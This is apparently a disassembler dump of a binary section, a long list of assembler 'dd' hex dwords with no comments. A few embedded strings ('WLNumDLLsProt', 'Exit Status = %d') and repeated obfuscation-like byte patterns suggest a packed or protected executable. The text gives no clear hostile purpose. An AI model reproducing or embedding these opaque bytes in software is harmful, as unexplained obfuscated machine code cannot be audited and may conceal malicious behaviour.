		dd 0F7929FEFh, 10E952h,	8B1F0000h, 0C49D562Ch, 0C0193F55h
		dd 3183679Fh, 0EF8190E6h, 4A6455E3h, 0C2290BBBh, 93EF8107h
		dd 0F8678A91h, 8FCB8B57h, 7E802h, 0AC3E0000h, 0A425CCEAh
		dd 0BF0F60CEh, 5961FCD0h, 0F01EA83h, 68Dh, 5E38100h, 4A522DA0h
		dd 81604A4Ah, 0C593ECDEh, 61D08B0Fh, 0F01EE83h,	0E85h
		dd 1AE900h, 33610000h, 0F4C4B6E8h, 0B5EEE48Ch, 0FF7DE9F5h
		dd 7CB9FFFFh, 0B5AEF67Dh, 0E7311246h, 21504EBh,	0C3E90000h
		dd 60000006h, 89F0BF0Fh, 0E01C6D85h, 8D316107h,	7E0204Dh
		dd 10E960h, 0C4FB0000h,	9D74A41Bh, 4652D2Ah, 3C7ABB08h
		dd 0B849ADh, 29000000h,	0E00029BDh, 24548B07h, 14E928h
		dd 70120000h, 0BD89A6B1h, 0D1C99A5Ah, 0ED889D72h, 5D870515h
		dd 8589B153h, 7E02941h,	0C0816660h, 8D890B3Ah, 7E01AB9h
		dd 3CBE61h, 800F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0
		dd 24247403h, 0C19D89h,	0AD6607E0h, 0C800Fh, 870F0000h
		dd 6, 890Fh, 890F0000h,	7, 1810Fh, 3F50000h, 0F8242444h
		dd 8860F50h, 0F000000h,	283h, 89616000h, 0B4602404h, 3995332Eh
		dd 6107E006h, 8978408Bh, 0E01E2985h, 24440307h,	6870F28h
		dd 89000000h, 0E01D818Dh, 18408B07h, 18D0Fh, 40F50000h
		dd 2281B531h, 858907E0h, 7E039DEh, 14E9h, 0B0334900h, 0B7D08BD3h
		dd 0CC3FE22Ch, 8C353668h, 1979E077h, 3D9D89EAh,	5807E02Bh
		dd 1811B589h, 708B07E0h, 19830F78h, 0E9000000h,	14h, 6ED57299h
		dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0F1CC683h
		dd 68Bh, 61606000h, 3615E53h, 0F242474h, 685h, 0D58D2900h
		dd 8D07E020h, 0E0055DBDh, 0CE907h, 0EEF00000h, 64540A26h
		dd 92D0C044h, 0FAD621Ah, 0A80h,	0BD096000h, 7E015A9h, 361C28Ah
		dd 89242444h, 0E02A018Dh, 14E9AB07h, 1E000000h,	372B4B04h
		dd 176883D0h, 0F40694B3h, 82B07C96h, 8D697400h,	0E01559BDh
		dd 0AE907h, 0A34D0000h,	2C2BE260h, 49245FF6h, 6870FADh
		dd 29000000h, 0E0155595h, 24440307h, 0CD950124h, 5007E013h
		dd 9E9h, 42022000h, 0E60E7BC3h,	4891067h, 0EE924h, 82CC0000h
		dd 66BE3F04h, 0F022BD61h, 5A8D3A53h, 0BD8DF8ABh, 7E01ACDh
		dd 60FA8B60h, 0E8C38B66h, 12h, 63C403CBh, 4C4F9870h, 0AE1FC84Eh
		dd 0DEDF0BCh, 615EB592h, 79BD0961h, 0AD07E028h,	6E9h, 0ECEACC00h
		dd 3012AD9h, 0E9282444h, 0Eh, 0CDEDB0CDh, 7EF96CDCh, 0D605DA81h
		dd 0F9AB240Bh, 8166605Eh, 96140E1h, 0E02065BDh,	8DFF6107h
		dd 7E039DEh, 39DEBD83h,	750007E0h, 2444C710h, 1Ch, 0B2B58D00h
		dd 0FF07E03Eh, 3AD56E6h, 97282444h, 858ADF8Bh, 7E00759h
		dd 474C084h, 4C75073Ah,	0AEC03257h, 2B5EFD75h, 33FC52FBh
		dd 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h
		dd 0D166EBD1h, 660973D8h, 66504135h, 5449F381h,	0EB75CEFEh
		dd 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h
		dd 0F74D03Bh, 4C6835Eh,	294185FFh, 6FE907E0h, 5EFFFFFFh
		dd 13E9h, 3AAEF500h, 6216C0DAh,	0BC2FFC02h, 0A6E01EE3h
		dd 37FB4C4Ah, 865B589h,	858B07E0h, 7E02941h, 17299D89h
		dd 0E0D107E0h, 19CD9D01h, 850307E0h, 7E01ACDh, 658D2960h
		dd 0F07E025h, 686h, 299D8900h, 6107E021h, 0BEh,	1850F00h
		dd 0FC000000h, 0AD66F596h, 605B5360h, 840Fh, 14E90000h
		dd 2A000000h, 429AED57h, 0A208756Bh, 0D4B2211Ch, 4CAB04FEh
		dd 613F1D6Ah, 2E0C161h,	6B4DBF60h, 0B8663AB7h, 36148CDh
		dd 0E0055D85h, 0FE907h,	609B0000h, 3B64696Ah, 30D21911h
		dd 93077956h, 8E99698h,	93000000h, 46C84F54h, 0ADC1438Fh
		dd 7E58501h, 4C8B07E0h,	0E9FC2424h, 13h, 6AE6DB18h, 45FB4AFFh
		dd 7F8693F5h, 2EB586B9h, 3470ACBh, 1242444h, 0E02D2DBDh
		dd 24448907h, 399D891Ch, 9607E013h, 9D896060h, 7E006A5h
		dd 6173D380h, 6890Fh, 820F0000h, 0
		dd 8B0FAC61h, 7, 0E1816660h, 3261A8DAh,	13E9C9h, 3ACB0000h
		dd 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h, 0FC1FEE2h
		dd 0B80h, 6E900h, 0D8510000h, 7FDE250Eh, 830FD0D0h, 92h
		dd 4719D89h, 0D0D007E0h, 84830Fh, 0D0F80000h, 7B820FD0h
		dd 0F5000000h, 820FD0D0h, 72h, 0FC9FEF8h, 0FFFFCF89h, 6810FFFh
		dd 1000000h, 0E0239595h, 0C483F807h, 0E9958920h, 0C707E01Ch
		dd 0FC2444h, 60000000h,	89FE8B66h, 0E021AD8Dh, 1B86107h
		dd 0E9000000h, 9, 5FF71A49h, 123CF1BFh,	8D8D8DFFh, 0F07E074h
		dd 198Bh, 14E900h, 0D8570000h, 0FD047864h, 5F634140h, 26A6044Bh
		dd 39180C72h, 0E1FF6988h, 1BE19D29h, 85C607E0h,	7E00759h
		dd 11890F00h, 60000000h, 8E9FA8Ah, 0C0000000h, 1421A6D9h
		dd 614731F2h, 0B58B6061h, 7E026B1h, 6E9h, 9767F300h, 613AE209h
		dd 0E90008C2h, 10h, 0E5B83A74h,	5F971D92h, 4F29FF1Fh, 12A63857h
		dd 5E950h, 4E870000h, 8983B611h, 7E92434h, 0C8000000h
		dd 53E6F253h, 0B5895C50h, 7E04069h, 819D3360h, 6607E026h
		dd 8961C68Bh, 0E040878Dh, 0C68B6007h, 0F8BF0F53h, 0B58D615Ah
		dd 7E03F79h, 55BD2B60h,	6607E013h, 0C3C0E381h, 0A1858D61h
		dd 0F005B8Eh, 0B85h, 8B666000h,	800FF7h, 61000000h, 8B60D0FFh
		dd 0E001498Dh, 79B58907h, 6107E014h, 0DD9D895Eh, 0C307E016h
		dd 69B58BFCh, 0FC07E040h, 40878D8Bh, 5E907E0h, 96000000h
		dd 7E8EA30h, 18619531h,	0C02B07E0h, 201BD89h, 0D98B07E0h
		dd 33AD9D31h, 89E907E0h, 0F9000000h, 0B5312632h, 7E03445h
		dd 6E902B2h, 43000000h,	0AE7559F3h, 4DE9BAh, 32F90000h
		dd 6870FC2h, 29000000h,	0E01A21BDh, 1D7A0507h, 8A0F8A75h
		dd 1, 0F8CC8AF8h, 0FC8D3F9h, 188Dh, 13E900h, 0CD8B0000h
		dd 752AB5BAh, 2D35B1B1h, 2366A036h, 1E017CBDh, 8423576h
		dd 0B52998D1h, 7E01E31h, 0AF8CAFEh, 0AC850FD2h,	0E9FFFFFFh
		dd 0Fh,	2BD75A78h, 3BF5FD43h, 7080F5A0h, 4BA498BFh, 0F9F546F5h
		dd 850FDB0Bh, 0FFFFFF70h, 0FE9h, 85D5D300h, 17A2E588h
		dd 5A4BF58Dh, 0CD2151D8h, 13E9CFh, 0D5DD0000h, 0D8A3C5EFh
		dd 73A36620h, 36B68AEBh, 79C8D8BBh, 0F0000F1h, 0E87h, 9E900h
		dd 6D5B0000h, 61A1BB25h, 3779A6h, 318D8900h, 7E01Eh, 6830F00h
		dd 1000000h, 0E02F4D95h, 0E9000007h, 0Eh, 0EEFDF228h, 0C0843B09h
		dd 807D810h, 858DD6C4h,	7E039F8h, 0FE9h, 482FA800h, 0BEA89317h
		dd 96847119h, 8678E8Ch,	20018589h, 8DF807E0h, 0E03EFC85h
		dd 0D890F07h, 60000000h, 98D08166h, 0B59D8974h,	6107E02Dh
		dd 326D8589h, 7E807E0h,	42000000h, 6CB58C53h, 59FC2640h
		dd 0CE8h, 51EDAC00h, 0D60104FCh, 3BBBA7AFh, 1D958BBEh
		dd 5A07E01Dh, 6C2CC181h, 0BE90000h, 0A0000000h,	8080E576h
		dd 0AB84B4D5h, 0D368B4CCh, 0F00001Ah, 82h, 6E95800h, 0EB000000h
		dd 772531C0h, 0F31FF03h, 689h, 9858900h, 5B07E012h, 0EA77F381h
		dd 0BD8B7D24h, 7E01AC9h, 1E20EB81h, 858933C1h, 7E005A5h
		dd 960FEB81h, 958B479Ch, 7E033E9h, 68B0F53h, 0F000000h
		dd 82h,	83018F00h, 7E904E9h, 0B4000000h, 73D81CABh, 0E881FC8Eh
		dd 1, 16850Fh, 0BE660000h, 30E971D2h, 98000000h, 0E8199737h
		dd 0AD011D2Ch, 55610E3Ch, 13E9h, 182B9E00h, 16E7650Eh
		dd 0FEC1620Fh, 41CA276Fh, 8501C5C5h, 0FFFF70E9h, 57E343FFh
		dd 0EB0CEA6Ch, 14h, 3 dup(0)
		dd 8C00h, 0A1858D00h, 8907E042h, 0E010DD85h, 0E1BD8307h
		dd 7E041h, 12C840Fh, 85C60000h,	7E00759h, 62FA6856h, 3481F13Fh
		dd 200FC324h, 1B5FF25h,	8D07E02Fh, 0E039F885h, 89D0FF07h
		dd 0E041D585h, 5985C607h, 5607E007h, 0C5204768h, 24048169h
		dd 32E3980Bh, 2F01B5FFh, 858D07E0h, 7E039F8h, 8589D0FFh
		dd 7E041D9h, 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 0E041E585h
		dd 1F40507h, 0E0C10000h, 4895002h, 0FF006A24h, 0E041D995h
		dd 0DD858907h, 8B07E041h, 0FFFFB8D8h, 95FFFFFFh, 7E010DDh
		dd 95FFC38Bh, 7E010DDh,	8DE9h, 0E1BD8300h, 7E041h, 1850Fh
		dd 57C30000h, 41DDBD8Bh, 83AB07E0h, 0E041DD85h,	0C35F0407h
		dd 41E1BD83h, 0F0007E0h, 185h, 8360C300h, 0E041DDADh, 9D8B0407h
		dd 7E041DDh, 0FFFC7B83h, 26850Fh, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 0E041D595h, 0E9C36107h, 1Dh,	0A93C1C68h, 24048183h
		dd 7C5743E4h, 33FF006Ah, 41D595FFh, 0AD8307E0h,	7E041DDh
		dd 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h
		dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh
		dd 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h, 8A000000h
		dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h
		dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h
		dd 0B8FFFFFFh, 1, 850FD202h, 5,	1246168Ah, 2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh
		dd 34850F00h, 0B9000000h, 1, 850FD202h,	5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	8B56FFFFh
		dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h
		dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h
		dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh,	7D00h, 22830Fh
		dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h
		dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h
		dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh
		dd 247C8928h, 8C2611Ch,	929BA00h, 0D3E90000h, 73000009h
		dd 1ACB061h, 0F14B2CD0h, 0D15297AEh, 0A9B75D3Dh, 0BC571780h
		dd 67664828h, 75732260h, 2EE96E6Eh, 0AA1B047h, 0E3432092h
		dd 0C001C5B9h, 0A6F25A2Fh, 0CC3478CBh, 7A724222h, 75212E61h
		dd 21EF6C6Eh, 10A1B044h, 0F95E3F92h, 0DC1FC5A6h, 0B2E54131h
		dd 0F85713C5h, 7A76556Eh, 74736370h, 35EF7920h,	16B8B052h
		dd 0F75E3EDDh, 0CBA6h, 62h dup(0)
		dd 73000000h, 0BA5B061h, 0F95830DCh, 0CB02C5B9h, 0AAE54933h
		dd 0FD515288h, 6C71073Dh, 66216C61h, 24EE756Fh,	0ABDE200h
		dd 0F14230DCh, 991C8CEBh, 0B9E24125h, 0EF4001C5h, 277E423Ah
		dd 6C510F0Eh, 25F36165h, 0ABDB00Ch, 0F24D36DEh,	99068CEBh
		dd 0A6F85C3Ah, 0F15C1FC5h, 296A5521h, 20656C65h, 34F36572h
		dd 44BCE241h, 0E45936CBh, 0D60095EBh, 0A6F65C3Bh, 0CBh
		dd 47h dup(0)
		dd 73000000h, 16ABB061h, 0F3473AD3h, 9901C2B9h,	0A7F84128h
		dd 0EF581AC5h, 6C76456Eh, 6F67226Ah, 60E46E75h,	0AA6E552h
		dd 0B64B37DBh, 0C0528BA2h, 0EBE55B33h, 0E84A0B96h, 33D4A2Bh
		dd 656D5209h, 6CE57361h, 8A6E500h, 0B64838DDh, 0DF5291A2h
		dd 0EBFA412Eh, 0F3541788h, 68335E3Ch, 7221666Ah, 21F47365h
		dd 1DE8E452h, 0B65E2CDDh, 0DE1D97BBh, 0E5FA4F2Eh, 61h dup(0)
		dd 73000000h, 1A4F966h,	0E4433A92h, 0CD0290B9h,	0E5B64A39h
		dd 0F55126C5h, 7B63073Dh, 6173656Bh, 21E8206Dh,	1AAB053h
		dd 0FB0C37D7h, 0C91B8BAAh, 0BFF64229h, 0FD191680h, 64334320h
		dd 65637B65h, 34E90D0Ah, 0DE8E307h, 0F5493FDCh,	991680BFh
		dd 0AAB7573Eh, 0EE5024C5h, 6633543Bh, 72622276h, 25EB6361h
		dd 30E8BE44h, 0B65F30DAh, 0DC1E8CADh, 0A5F8597Ch, 0EB1906C2h
		dd 29785521h, 6D786C65h, 6EE5726Fh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 31E90000h, 6A00002Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3A17C351h, 9D8B1379h
		dd 7E02E25h, 56006AFCh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 711B1F9Bh, 79D8589h, 0C08B07E0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 72C35343h
		dd 0B5896D8Eh, 7E02015h, 6B1BD83h, 750007E0h, 0C5BD8309h
		dd 7E001h, 53501374h, 1B8C08Bh,	8D000000h, 0E2BB049Dh
		dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 1B8h, 0B59D8D00h
		dd 0FF07E2B9h, 0F9585BD3h, 1405B529h, 0C08B07E0h, 1C759D33h
		dd 0BD8307E0h, 7E02DB1h, 0D5840F00h, 23000001h,	0E0252D9Dh
		dd 6DBD8307h, 7E016h, 1C2840Fh,	95890000h, 7E01B89h, 6870F60h
		dd 8B000000h, 0E023F995h, 5D9D8907h, 8B07E030h,	0E0166D85h
		dd 958B5307h, 7E02F81h,	6BBA665Bh, 3E805EDh, 0BF0F0000h
		dd 61B509D8h, 9007E02Ah, 0FEBA6650h, 820F9030h,	6, 2E3D8D89h
		dd 858D07E0h, 7E04EA5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0C0C35040h, 659D8B93h, 9007E019h, 0AE9h
		dd 0DA900900h, 0EBD2A22Eh, 50AD972Bh, 60525052h, 8B310F61h
		dd 5A585ADAh, 858DF590h, 7E04E83h, 606090F5h, 0BE9h, 0F7B75100h
		dd 3A0662F2h, 0E15F99C2h, 10E9h, 5FB74900h, 99CD587Fh
		dd 0CDC4D5D0h, 2C2E3CCDh, 810F61EBh, 2,	50615F50h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 6F5EB301h, 0BB66A787h, 0D58A224Ah, 188195FFh, 6A07E0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0BE7238C3h, 0D08B5223h, 0B1EA815Bh, 831D6895h, 6A0CC4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C52210C3h, 8DD88B66h, 0E04E8385h, 35952907h, 9007E024h
		dd 0FE8h, 4446800h, 0F046B389h,	0DE5B5F7h, 0FB29B31Ah
		dd 11E8h, 2F2A8700h, 19BFF7FAh,	6591CD40h, 2E28B5B0h, 11E91AC0h
		dd 0E0000000h, 18BC9634h, 0EB9D67C9h, 0D7F44D8Ch, 6191B1D5h
		dd 0F505A5Bh, 58Eh, 8539BB00h, 8B903286h, 29026AD3h, 0E0331DB5h
		dd 0CDBD8907h, 0FF07E019h, 6AED1495h, 952B6100h, 7E023C1h
		dd 4EB685C7h, 107E0h, 0BA520000h, 719FBF07h, 880F505Bh
		dd 2, 3489F18Ah, 85895124h, 7E0316Dh, 67B5895Ah, 6A07E04Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 277DC357h, 14E9A2A8h, 1F000000h, 5696BE6Fh
		dd 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh, 0FF2FA90h,	68Fh, 0B1BD8900h
		dd 8307E028h, 0E016B1BDh, 850F0107h, 4Bh, 10E9h, 3EAE3100h
		dd 438DED70h, 64F45C7Fh, 0C4C406E4h, 5F883D2h, 2D850Fh
		dd 81660000h, 0B814F5DBh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 85C35343h
		dd 0F4BF3C4Ch, 83B422D9h, 0E005ADBDh, 840F0007h, 61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 80C35646h, 0C97D21E1h
		dd 460C40D2h, 8960D88Bh, 0E007759Dh, 0AD95FF07h, 6A07E005h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A2E2C353h, 76853BEh, 215A2A18h, 1F5958Bh
		dd 0B66107E0h, 5BD83E3h, 7E001h, 2B840Fh, 0F88A0000h, 0B8h
		dd 11E800h, 599E0000h, 0B3C6B7EAh, 3E092B15h, 2F34F7B9h
		dd 8005C8A4h, 575B3AF6h, 5BD8950h, 5B07E013h, 9D8B605Ah
		dd 7E03481h, 8BE7CF80h,	0E0203985h, 85E28007h, 6A02C083h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 4E13C350h, 742BEA45h, 858909B7h, 7E04E5Fh
		dd 0CE8h, 0EA722C00h, 8B4FAD12h, 1AEDD77Ch, 0C65B93h, 79B589FFh
		dd 0C607E021h, 0E0075985h, 880F5307h, 5, 0A55BFBBBh, 0D88B6604h
		dd 4E8h, 0B148D800h, 0EABA66FCh, 0BA6650E8h, 448B7008h
		dd 0D1BB0424h, 8B7C50C3h, 5BA6600h, 244489F7h, 7C4CBB04h
		dd 6A587C32h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 6B2CC350h, 0F5C9A2AFh,	292DB5FFh
		dd 0BD8907E0h, 7E02D2Dh, 7FE8858Dh, 6A07E3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6E9D10C3h
		dd 0F00233Bh, 6AD0FFACh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 88F5C357h, 8B72D8F5h
		dd 0E016359Dh, 0A9858907h, 6A07E018h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 2CD0C357h
		dd 0F0634425h, 0DA8166CAh, 0BD83459Ah, 7E033EDh, 0F0850F01h
		dd 60000000h, 0BE9h, 944ADE00h,	791C9A1Fh, 9B46CC1Dh, 13E96161h
		dd 3A000000h, 0FAB657Ah, 1F436DA1h, 49BFA773h, 8BD3B033h
		dd 85C6B7D0h, 7E00759h,	41958B45h, 0E807E02Eh, 4, 0DA6038C2h
		dd 50D88B66h, 810Fh, 448B0000h,	8B0424h, 9750DABBh, 2444896Bh
		dd 8FBB6604h, 6A5805h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B53161C3h, 7E0188Dh, 292DB5FFh
		dd 0FE907E0h, 0F2000000h, 0DB564207h, 724615F4h, 365B376Ch
		dd 858D3756h, 7E37FE8h,	0D0FF0EB7h, 30B1958Bh, 6A07E0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9CC35141h
		dd 91358DD7h, 0B681403Dh, 0E8D0FF18h, 14h, 80E25FC4h, 94BDCBE7h
		dd 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh, 835B33B7h, 0E01029BDh
		dd 850F0107h, 0D2h, 2FE1BD89h, 895307E0h, 0E02DF585h, 858B5B07h
		dd 7E02039h, 0A8E4F281h, 99E91F41h, 0F000000h, 58Bh, 0CB2BBA00h
		dd 895025A7h, 0EE82404h, 89000000h, 1DE0BBDEh, 62F880ADh
		dd 29CA1F04h, 68F0F6Ch,	89000000h, 0E034958Dh, 146A5A07h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 9DC35040h
		dd 7F7F1C60h, 95FFF0B8h, 7E018A9h, 24E59D89h, 6A5807E0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 950BC357h, 0A29551E4h, 0B70F4727h, 810F60DEh
		dd 5, 0B74A31BEh, 8A0F0Ch, 61000000h, 0F003880h, 0FFFF6985h
		dd 60D08AFFh, 1931B589h, 0E78A07E0h, 100C661h, 3618AB2h
		dd 0E01B759Dh, 0C9BD8307h, 7E011h, 7E840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 42971AC3h, 378950C6h, 0F3CA804Eh, 6AD98B66h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 12AA1367h, 13E9766Dh, 50000000h, 8BE7C011h, 0CAB28754h
		dd 0ED502A6Eh, 6BBB776Dh, 95FF9E6Ch, 7E018A9h, 0B9D18B60h
		dd 2A01386h, 0FFB1E961h, 958BFFFFh, 7E0332Dh, 11C985C7h
		dd 107E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 4F0DD8C3h, 0C77996EBh, 0CEB2F7A6h
		dd 7359D8Bh, 958907E0h,	7E02C59h, 4E6B8589h, 840F07E0h
		dd 6, 1569958Bh, 509007E0h, 5A5B5050h, 32CE8090h, 4EC68060h
		dd 0AE9056Ah, 8F000000h, 0CF275AA8h, 42E9FE33h,	83858D58h
		dd 6A07E04Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 747DC352h, 46E7CF4h, 0BA7B2A9Bh
		dd 32AA723Ch, 6321BA66h, 14A99589h, 665007E0h, 892F63BBh
		dd 9E92404h, 0F3000000h, 0C58010D8h, 1F8FD21Eh,	4E73858Dh
		dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 9057D7C3h, 17916F98h, 81539372h, 0ACD749E2h
		dd 0B6905B33h, 0E96050A0h, 5, 51780708h, 0C576BE41h, 90615F74h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9BC35242h
		dd 3DDF672Bh, 0FCFF00Eh, 38Ah, 0D3BF0F00h, 1B8D95FFh, 9D0307E0h
		dd 7E01655h, 7D778D8Dh,	958B07E0h, 7E02095h, 1174C00Bh
		dd 4E83858Dh, 0FF5007E0h, 0A18589D1h, 0EB07E04Eh, 0A185C70Ah
		dd 0FF07E04Eh, 6AFFFFFFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0E017C351h,	0DAD586D9h
		dd 0B70FF1F1h, 9E8D0h, 256A0000h, 5EDB8F2h, 0B604846Fh
		dd 89515AC3h, 0E02C6185h, 60615A07h, 2AC9858Bh,	0BE907E0h
		dd 8E000000h, 0CBF3D589h, 3FCC0419h, 0C6618236h, 0E0075985h
		dd 6A4D07h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0EF0432C3h, 8D89603Ah, 7E00799h, 10E8h, 1E2A7400h
		dd 45137829h, 0B540719Dh, 0F6F9B438h, 0A58D89C2h, 5A07E007h
		dd 942E6861h, 48178CEh,	66E27A24h, 0DAB70F2Bh, 1425B5FFh
		dd 0B86007E0h, 22612209h, 30319589h, 8D6107E0h,	0E37FE885h
		dd 0BD8D8907h, 0FF07E004h, 840FD0h, 89000000h, 0E02F7185h
		dd 1BDA8107h, 0C624E283h, 0E0075985h, 6A4507h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 43514AC3h, 299589E3h, 5107E00Eh, 6850Fh, 0EA810000h
		dd 154EBA12h, 4E85Bh, 69690000h, 0D68B8E72h, 8B6CB350h
		dd 0BB042444h, 1C19999Bh, 0CE8008Bh, 76000000h,	0A3E9F1E2h
		dd 0A3DCEADCh, 0B20DD061h, 44895A0Bh, 0B580424h, 0E018559Dh
		dd 2DB5FF07h, 6A07E029h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0FEC6C356h,	3611CE06h
		dd 561ED07Ch, 68F0Fh, 0B5890000h, 7E02C91h, 0E8858D5Ah
		dd 6A07E37Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 75B6C350h, 60607275h, 2F598501h
		dd 0BA6607E0h, 896176ACh, 0E02AA995h, 0D0FF6107h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h, 891289C5h
		dd 0E028FD85h, 25850907h, 8B07E02Ah, 799529D2h,	6607E000h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0FF6967C3h
		dd 0C488AE33h, 0C2815356h, 5AF3A2E2h, 4C1F65Bh,	229840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 7907EFC3h, 0E9DAC1A6h, 0FBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EBC35747h, 0CBB66B0h
		dd 2D958B2Ah, 8B07E02Ah, 0E02A89B5h, 1D958907h,	8107E032h
		dd 1180C6h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD838E9Fh, 7E01551h, 13850F00h
		dd 81000000h, 163767F3h, 61E94Eh, 8B520000h, 0E026659Dh
		dd 3E835A07h, 50840F00h, 66000000h, 7CDDB81h, 0DB52960h
		dd 0B307E01Eh, 29146A02h, 0E0349595h, 0A995FF07h, 0B07E018h
		dd 0E00F5D9Dh, 59BB6107h, 0E91C57B7h, 0FFFFFFCAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h, 7ACF98F0h
		dd 0C7E7F1D8h, 106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0D5E8A88Dh, 66863ECCh
		dd 83B983BAh, 0E04E6BBDh, 850F0507h, 0FBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0FDB58BF5h
		dd 6A07E028h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0CA27C356h, 0B9D38B66h, 64h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7FC35343h, 6B534FE5h
		dd 958BED64h, 7E018D1h,	0FE83E80h, 2A84h, 0A9958B00h, 0E907E026h
		dd 2Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 0A3C35242h, 80D18B66h, 0FC2057Eh, 4684h, 459D0300h
		dd 4607E030h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	1BC35747h, 8AD7B348h, 2ABD8D89h, 0F4907E0h, 0FFFF8F85h
		dd 0F5BA66FFh, 0B2BA664Bh, 0DE91Ah, 81660000h, 8911ECE2h
